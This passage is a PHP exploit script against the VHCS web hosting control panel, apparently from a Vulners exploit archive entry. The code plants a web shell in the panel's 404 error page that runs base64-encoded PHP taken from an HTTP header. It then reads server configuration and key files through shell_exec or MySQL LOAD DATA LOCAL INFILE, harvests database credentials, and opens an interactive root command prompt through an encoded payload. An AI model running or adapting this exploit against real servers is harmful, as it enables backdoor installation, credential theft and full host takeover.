			$this-&gt;post($this-&gt;dmn_vhcs_url.'client/sql_add_user.php',
			'user_name='.$this-&gt;tmp_db_user.'&amp;id_pos=end&amp;pass=xpl_pw'.
			'd&amp;pass_rep=xpl_pwd&amp;Add_New=++Add++&amp;uaction=add_user&amp;id='.
			$this-&gt;db_id);

			if($this-&gt;got_db_user())
			&nbsp;&nbsp;&nbsp;$this-&gt;msg('User&nbsp;'.$this-&gt;tmp_db_user.'&nbsp;successfully&nbsp;created',&nbsp;1);

			else
			{
				$this-&gt;msg(&quot;Can't&nbsp;create&nbsp;the&nbsp;SQL&nbsp;user&nbsp;&quot;.$this-&gt;tmp_db_user,&nbsp;0);

				return&nbsp;FALSE;
			}
		}

		#&nbsp;First&nbsp;SQL&nbsp;user&nbsp;id&nbsp;associed&nbsp;with&nbsp;the&nbsp;database
		$this-&gt;db_user_id&nbsp;=&nbsp;$this-&gt;sql_usrs[1];

		$this-&gt;msg('Using&nbsp;SQL&nbsp;user&nbsp;id&nbsp;'.$this-&gt;db_user_id,&nbsp;1);

		return&nbsp;TRUE;
	}

	function&nbsp;got_db_user()
	{		
		$this-&gt;get($this-&gt;dmn_vhcs_url.'client/manage_sql.php');

		$this-&gt;content_arr&nbsp;=&nbsp;explode(&quot;\n&quot;,&nbsp;$this-&gt;getcontent());

		$this-&gt;is_sql_db_usr&nbsp;=&nbsp;FALSE;

		for($i=0;&nbsp;$i&lt;count($this-&gt;content_arr);&nbsp;$i++)
		{
			if(preg_match($this-&gt;reg_arr[4],
			$this-&gt;content_arr[$i],&nbsp;$this-&gt;sql_db_id))
			{
				if($this-&gt;sql_db_id[1]&nbsp;==&nbsp;$this-&gt;db_id)
				&nbsp;&nbsp;&nbsp;$this-&gt;is_sql_db_usr&nbsp;=&nbsp;TRUE;

				else
				&nbsp;&nbsp;&nbsp;$this-&gt;is_sql_db_usr&nbsp;=&nbsp;FALSE;
			}

			if(preg_match($this-&gt;reg_arr[5],
			$this-&gt;content_arr[$i],&nbsp;$this-&gt;sql_usrs))
			{
				if($this-&gt;is_sql_db_usr)
				&nbsp;&nbsp;&nbsp;return&nbsp;TRUE;
			}
		}
		return&nbsp;FALSE;
	}

	function&nbsp;got_db()
	{	
		$this-&gt;get($this-&gt;dmn_vhcs_url.'client/manage_sql.php');

		preg_match($this-&gt;reg_arr[3],
		$this-&gt;getcontent(),&nbsp;$this-&gt;sql_db_ids);

		if(empty($this-&gt;sql_db_ids))
		&nbsp;&nbsp;&nbsp;return&nbsp;FALSE;

		else
		&nbsp;&nbsp;&nbsp;return&nbsp;TRUE;
	}

	function&nbsp;is_alive($domain_name)
	{
		if(gethostbyname($domain_name)&nbsp;!=&nbsp;$domain_name)
		&nbsp;&nbsp;&nbsp;return&nbsp;TRUE;

		else
		&nbsp;&nbsp;&nbsp;return&nbsp;FALSE;
	}

	function&nbsp;write_code()
	{
		$this-&gt;msg('Trying&nbsp;to&nbsp;write&nbsp;PHP&nbsp;code',&nbsp;0);

		$this-&gt;dmn_url&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=&nbsp;'http://'.$this-&gt;usr;
		$this-&gt;dmn_vhcs_url&nbsp;=&nbsp;$this-&gt;dmn_url.$this-&gt;url_arr['path'];

		$this-&gt;get($this-&gt;dmn_url.'/errors/404/index.php');
		$this-&gt;old_404&nbsp;=&nbsp;$this-&gt;getcontent();

		$this-&gt;phpc&nbsp;=
		&nbsp;'&lt;?php&nbsp;'
		.'error_reporting(0);&nbsp;'
		.'if(isset($_SERVER[\'HTTP_SHELL\']))&nbsp;'
		.'{&nbsp;eval(base64_decode($_SERVER[\'HTTP_SHELL\']));&nbsp;exit(0);&nbsp;}&nbsp;'
		.'?&gt;';

		$this-&gt;new_404&nbsp;=&nbsp;$this-&gt;phpc.$this-&gt;old_404;

		$this-&gt;post($this-&gt;dmn_vhcs_url.'client/error_pages.php',
		'error='.urlencode($this-&gt;new_404).'&amp;uaction=updt_error&amp;eid=404&amp;Submit=+Save+');

		$this-&gt;exec_php('print&nbsp;&quot;itworkz&quot;;');

		if(ereg('itworkz',&nbsp;$this-&gt;getcontent()))
		{
			$this-&gt;msg('PHP&nbsp;code&nbsp;successfully&nbsp;written',&nbsp;1);

			return&nbsp;TRUE;
		}
		else
		{
			$this-&gt;msg(&quot;Can't&nbsp;write&nbsp;PHP&nbsp;code&quot;,&nbsp;-1);

		&nbsp;&nbsp;&nbsp;	return&nbsp;FALSE;
		}
	}

	function&nbsp;get_vhcs_conf()
	{
		if($this-&gt;safe_mode)
		&nbsp;&nbsp;&nbsp;$this-&gt;msg('Trying&nbsp;to&nbsp;load&nbsp;files&nbsp;via&nbsp;local_infile',&nbsp;0);

		else
		&nbsp;&nbsp;&nbsp;$this-&gt;msg('Trying&nbsp;to&nbsp;load&nbsp;files&nbsp;via&nbsp;shell_exec',&nbsp;0);

		$this-&gt;lf_conf&nbsp;&nbsp;&nbsp;=&nbsp;$this-&gt;path_content($this-&gt;conf_path);
		$this-&gt;lf_conf&nbsp;&nbsp;&nbsp;=&nbsp;trim($this-&gt;lf_conf,&nbsp;&quot;\r&quot;);

		$this-&gt;vhcs_conf&nbsp;=&nbsp;explode(&quot;\n&quot;,&nbsp;$this-&gt;lf_conf);

		$this-&gt;conf&nbsp;=&nbsp;array();

		foreach($this-&gt;vhcs_conf&nbsp;as&nbsp;$this-&gt;conf_line)
		{
			#&nbsp;comment
			if(!ereg('^(\s*)#',&nbsp;$this-&gt;conf_line))
			{
				$this-&gt;pos&nbsp;&nbsp;&nbsp;=&nbsp;strpos($this-&gt;conf_line,&nbsp;'=');
				$this-&gt;name&nbsp;&nbsp;=&nbsp;strtoupper(trim(substr($this-&gt;conf_line,&nbsp;0,&nbsp;$this-&gt;pos)));
				$this-&gt;value&nbsp;=&nbsp;trim(substr($this-&gt;conf_line,&nbsp;$this-&gt;pos+1));

				$this-&gt;conf[$this-&gt;name]&nbsp;=&nbsp;$this-&gt;value;
			}
		}

		$this-&gt;php_keys_code&nbsp;=&nbsp;$this-&gt;path_content($this-&gt;keys_path);

		return;
	}

	function&nbsp;path_content($path)
	{
		#&nbsp;open_basedir&nbsp;On/off
		#&nbsp;safe_mode&nbsp;=&nbsp;Off
		if(!$this-&gt;safe_mode)
		{
			$this-&gt;phpc&nbsp;=&nbsp;'print&nbsp;shell_exec(&quot;cat&nbsp;'.$path.'&quot;);';

			$this-&gt;exec_php($this-&gt;phpc);

			$this-&gt;file_content&nbsp;=&nbsp;$this-&gt;getcontent();

		}

		#&nbsp;open_basedir&nbsp;On/Off
		#&nbsp;safe_mode&nbsp;=&nbsp;On
		else
		{
			$this-&gt;rand_table&nbsp;=&nbsp;rand().'tmp_hax'.rand();

			$this-&gt;sql_query&nbsp;=
			&quot;CREATE&nbsp;TABLE&nbsp;&quot;.$this-&gt;rand_table.&quot;&nbsp;(content&nbsp;text&nbsp;not&nbsp;null);&nbsp;&quot;.
			&quot;LOAD&nbsp;DATA&nbsp;LOCAL&nbsp;INFILE&nbsp;'$path'&nbsp;INTO&nbsp;TABLE&nbsp;&quot;.$this-&gt;rand_table.
			&quot;&nbsp;FIELDS&nbsp;TERMINATED&nbsp;BY&nbsp;'__EOF__'&nbsp;ESCAPED&nbsp;BY&nbsp;''&nbsp;LINES&nbsp;TERMINAT&quot;.
			&quot;ED&nbsp;BY&nbsp;'__EOF__';&nbsp;SELECT&nbsp;CONCAT(CHAR(80,87,78,69,68,67,79,78,&quot;.
			&quot;84,69,78,84),HEX(content),CHAR(80,87,78,69,68,67,79,78,84,69&quot;.
			&quot;,78,84))&nbsp;FROM&nbsp;&quot;.$this-&gt;rand_table.&quot;;&nbsp;DROP&nbsp;TABLE&nbsp;&quot;.
			$this-&gt;rand_table;

			$this-&gt;sql_arr&nbsp;=&nbsp;explode(';',&nbsp;$this-&gt;sql_query);
			$this-&gt;sql_cnt&nbsp;=&nbsp;count($this-&gt;sql_arr);

			for($i=0;&nbsp;$i&lt;$this-&gt;sql_cnt;&nbsp;$i++)
			{
				$this-&gt;sql_res&nbsp;=&nbsp;$this-&gt;exec_sql($this-&gt;sql_arr[$i]);

				if($i&nbsp;==&nbsp;$this-&gt;sql_cnt-2)
				&nbsp;&nbsp;&nbsp;$this-&gt;file_content&nbsp;=&nbsp;$this-&gt;sql_res;
			}
			
		}

		if(!$this-&gt;file_content)
		{
			$this-&gt;msg(&quot;A&nbsp;problem&nbsp;occurred&nbsp;while&nbsp;trying&nbsp;to&nbsp;read&nbsp;the&nbsp;file&nbsp;$path&quot;,&nbsp;-1);
			
			if($this-&gt;safe_mode)
			&nbsp;&nbsp;&nbsp;$this-&gt;msg(&quot;local_infile=Off&nbsp;or&nbsp;we&nbsp;don't&nbsp;have&nbsp;sufficient&nbsp;access&nbsp;rights&nbsp;to&nbsp;the&nbsp;file&quot;,&nbsp;-1,&nbsp;2);

			else
			&nbsp;&nbsp;&nbsp;$this-&gt;msg(&quot;We&nbsp;don't&nbsp;have&nbsp;sufficient&nbsp;access&nbsp;rights&nbsp;to&nbsp;the&nbsp;file&quot;,&nbsp;-1,&nbsp;-2);
		}
		else
		&nbsp;&nbsp;&nbsp;$this-&gt;msg(&quot;Ok:&nbsp;$path&quot;,&nbsp;1);

		return&nbsp;$this-&gt;file_content;
	}

	function&nbsp;exec_sql($query)
	{
		$this-&gt;post($this-&gt;dmn_vhcs_url.'client/sql_execute_query.php',
		'user_name=&amp;sql_query='.$query.'&amp;Submit=+Execute+&amp;uaction=exe'.
		'cute_query&amp;id='.$this-&gt;db_user_id);

		$this-&gt;sql_result&nbsp;=&nbsp;'';

		if(ereg('PWNEDCONTENT',&nbsp;$this-&gt;getcontent()))
		{
			$this-&gt;sql_res_arr&nbsp;=&nbsp;explode('PWNEDCONTENT',&nbsp;$this-&gt;getcontent());

			$this-&gt;sql_result&nbsp;&nbsp;=&nbsp;pack('H*',&nbsp;$this-&gt;sql_res_arr[1]);
		}
	
		return&nbsp;$this-&gt;sql_result;
	}

	function&nbsp;is_safe()
	{
		$this-&gt;phpc&nbsp;=
		'if(in_array(strtoupper(ini_get(&quot;safe_mode&quot;)),array(&quot;ON&quot;,&quot;1&quot;))&nbsp;'
	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;.'or&nbsp;!function_exists(&quot;shell_exec&quot;))&nbsp;'
	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;.'{&nbsp;print&nbsp;&quot;safe_mode=on&quot;;&nbsp;}';

		$this-&gt;exec_php($this-&gt;phpc);

		#&nbsp;open_basedir&nbsp;always&nbsp;set
		if(ereg('safe_mode=on',&nbsp;$this-&gt;getcontent()))
		{
			$this-&gt;msg(&quot;We'll&nbsp;have&nbsp;to&nbsp;bypass&nbsp;open_basedir&nbsp;cause&nbsp;safe_mode=On&quot;,&nbsp;0);

			$this-&gt;safe_mode&nbsp;=&nbsp;TRUE;
		}
		else
		{
			$this-&gt;msg('PHP&nbsp;configured&nbsp;with&nbsp;default&nbsp;safe_mode&nbsp;value&nbsp;(Off)',&nbsp;0);

			$this-&gt;safe_mode&nbsp;=&nbsp;FALSE;
		}

		return&nbsp;$this-&gt;safe_mode;
	}

	function&nbsp;exec_cmd()
	{
		$this-&gt;msg(&quot;Now&nbsp;you&nbsp;can&nbsp;execute&nbsp;commands&nbsp;as&nbsp;root&nbsp;=]&quot;,&nbsp;1);

		$this-&gt;woot_code&nbsp;=
		&nbsp;'PD9waHAKCi8qCm1haWwoJ2xlZXRAcHduZWQuY29tJywgJ3Z1bG'
		.'5lcmFibGUgdmhjcyBob3N0ICEnLCAndGh4IHRvIH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NyeXB0X21vZHVs'
		.'ZV9vcGVuICgnYmxvd2Zpc2gnLCAnJywgJ2NiYycsICcnKTsKIC'
		.'AgIAogICAgLyogQ3JlYXRlIGtleSAqLwogICAgICAgICRrZXkg'
		.'PSAkdmhjczJfZGJfcGFzc19rZXk7CiAgICAKICAgIC8qIENyZW'
		.'F0ZSB0aGUgSVYgYW5kIGRldGVybWluZSB0aGUga2V5c2l6ZSBs'
		.'ZW5ndGggKi8KICAgICAgICAkaXYgPSAkdmhjczJfZGJfcGFzc1'
		.'9pdjsKICAgICAgCiAgICAvKiBJbnRpYWxpemUgZW5jcnlwdGlv'
		.'biAqLyAgICAgICAgICAgICAgICAgICAgCiAgICBtY3J5cHRfZ2'
		.'VuZXJpY19pbml0ICgkdGQsICRrZXksICRpdik7CiAgICAgICAg'
		.'ICAgICAgICAgICAgICAKICAgIC8qIERlY3J5cHQgZW5jcnlwdG'
		.'VkIHN0cmluZyAqLyAgICAKICAgICRkZWNyeXB0ZWQgPSBtZGVj'
		.'cnlwdF9nZW5lcmljICgkdGQsICR0ZXh0KTsKICAgICAgICAgIC'
		.'AgICAgICAgICAgICAgICAKICAgIG1jcnlwdF9tb2R1bGVfY2xv'
		.'c2UgKCR0ZCk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgIC'
		.'AgICAgCiAgICAvKiBTaG93IHN0cmluZyAqLyAgICAgICAgICAg'
		.'ICAgICAgICAgICAgICAgICAgICAgICAKICAgIHJldHVybiB0cm'
		.'ltKCRkZWNyeXB0ZWQpOwp9CgovLyB2aGNzCmZ1bmN0aW9uIHNl'
		.'bmRfcmVxdWVzdCgpIHsKCiAgICBnbG9iYWwgJFZlcnNpb24sIC'
		.'RWZXJzaW9uSCwgJEJ1aWxkRGF0ZTsKCiAgICBAJHNvY2tldCA9'
		.'IHNvY2tldF9jcmVhdGUgKEFGX0lORVQsIFNPQ0tfU1RSRUFNLC'
		.'AwKTsKCiAgICBpZiAoJHNvY2tldCA8IDApIHsKICAgICAgICAk'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ieWVcclxuIjsK'
		.'ICAgIHNvY2tldF93cml0ZSAoJHNvY2tldCwgJHF1aXRfcXVlcn'
		.'ksIHN0cmxlbiAoJHF1aXRfcXVlcnkpKTsKICAgIC8qIHJlYWQg'
		.'cXVpdCBhbnN3ZXIgKi8KICAgICRxdWl0X3JlcGxheSA9IHJlYW'
		.'RfbGluZSgkc29ja2V0KTsKCiAgICAvKiBhbmFseXplIGtleSBy'
		.'ZXBsYXkgKi8KICAgICRhbnN3ZXIgPSAkZXhlY3V0ZV9yZXBsYX'
		.'k7CgogICAgLyogY2xvc2Ugc29ja2V0ICovCiAgICBzb2NrZXRf'
		.'Y2xvc2UgKCRzb2NrZXQpOwoKICAgIC8qIHJldHVybiBmdW5jdG'
		.'lvbiByZXN1bHQgKi8KICAgIHJldHVybiAkYW5zd2VyOwoKfQoK'
		.'Ly8gdmhjcwpmdW5jdGlvbiByZWFkX2xpbmUoJHNvY2tldCkgew'
		.'0KICAgICRjaCA9ICcnOw0KICAgICRsaW5lID0gJyc7DQogICAg'
		.'ZG97DQogICAgICAgICRjaCA9IHNvY2tldF9yZWFkKCRzb2NrZX'
		.'QsMSk7DQogICAgICAgICRsaW5lID0gJGxpbmUgLiAkY2g7DQog'
		.'ICAgfSB3aGlsZSgkY2ggIT0gIlxyIik7DQogICAgcmV0dXJuIC'
		.'RsaW5lOw0KfQo/Pgo=';

&nbsp;		while($this-&gt;cmd_prompt())
		{
			$this-&gt;exec_php('print&nbsp;$_SERVER[&quot;DOCUMENT_ROOT&quot;];');
			$this-&gt;tmp_file&nbsp;=&nbsp;$this-&gt;getcontent().'/'.md5(rand());

			$this-&gt;set_hvar('db-host',&nbsp;&nbsp;&nbsp;&nbsp;$this-&gt;conf['DATABASE_HOST']);
			$this-&gt;set_hvar('db-user',&nbsp;&nbsp;&nbsp;&nbsp;$this-&gt;conf['DATABASE_USER']);
			$this-&gt;set_hvar('db-pass',&nbsp;&nbsp;&nbsp;&nbsp;$this-&gt;conf['DATABASE_PASSWORD']);
			$this-&gt;set_hvar('db-name',&nbsp;&nbsp;&nbsp;&nbsp;$this-&gt;conf['DATABASE_NAME']);

			$this-&gt;set_hvar('sleep-time',&nbsp;$this-&gt;sleep_time);
			$this-&gt;set_hvar('file',&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$this-&gt;tmp_file);
			$this-&gt;set_hvar('cmd',&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$this-&gt;cmd);
			$this-&gt;set_hvar('version',&nbsp;&nbsp;&nbsp;&nbsp;$this-&gt;conf['Version']);
			
			$this-&gt;set_hvar('php-keys',&nbsp;&nbsp;&nbsp;'?&gt;'.$this-&gt;php_keys_code);

			$this-&gt;exec_php('?&gt;'.base64_decode($this-&gt;woot_code));

			print&nbsp;&quot;\n&quot;.$this-&gt;getcontent();
		}

		exit(0);
	}

	function&nbsp;set_hvar($name,&nbsp;$value)
	{
		$this-&gt;addheader('Sploit-'.$name,&nbsp;base64_encode($value));

		return;
	}

	function&nbsp;cmd_prompt()
	{
		$this-&gt;msg('root@'.$this-&gt;usr.':&nbsp;',&nbsp;1);
		$this-&gt;cmd&nbsp;=&nbsp;trim(fgets(STDIN));

		if(!ereg('^(quit|exit)$',&nbsp;$this-&gt;cmd))
		&nbsp;&nbsp;&nbsp;return&nbsp;TRUE;

		else
		&nbsp;&nbsp;&nbsp;return&nbsp;FALSE;
	}

	function&nbsp;exec_php($php)
	{
		$this-&gt;addheader('Shell',&nbsp;base64_encode($php));
		$this-&gt;get($this-&gt;dmn_url.'/errors/404/index.php');

		return;
	}

	function&nbsp;msg($msg,&nbsp;$flag,&nbsp;$action=0)
	{
		print&nbsp;&quot;\n&nbsp;&quot;.$this-&gt;flags[$flag].&quot;\x20&quot;.$msg;

		switch($action)
		{
			case&nbsp;1:
				print&nbsp;&quot;\n&quot;;
				return&nbsp;$this-&gt;usage();
			break;

			case&nbsp;2:
				print&nbsp;&quot;\n&quot;;
				exit(1);
			break;
		}
	}
}

$spl&nbsp;=&nbsp;new&nbsp;vhcs_xpl;
$spl-&gt;main();

?&gt;
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

10 Mar 2008 00:00Current
7.1High risk
Vulners AI Score7.1
28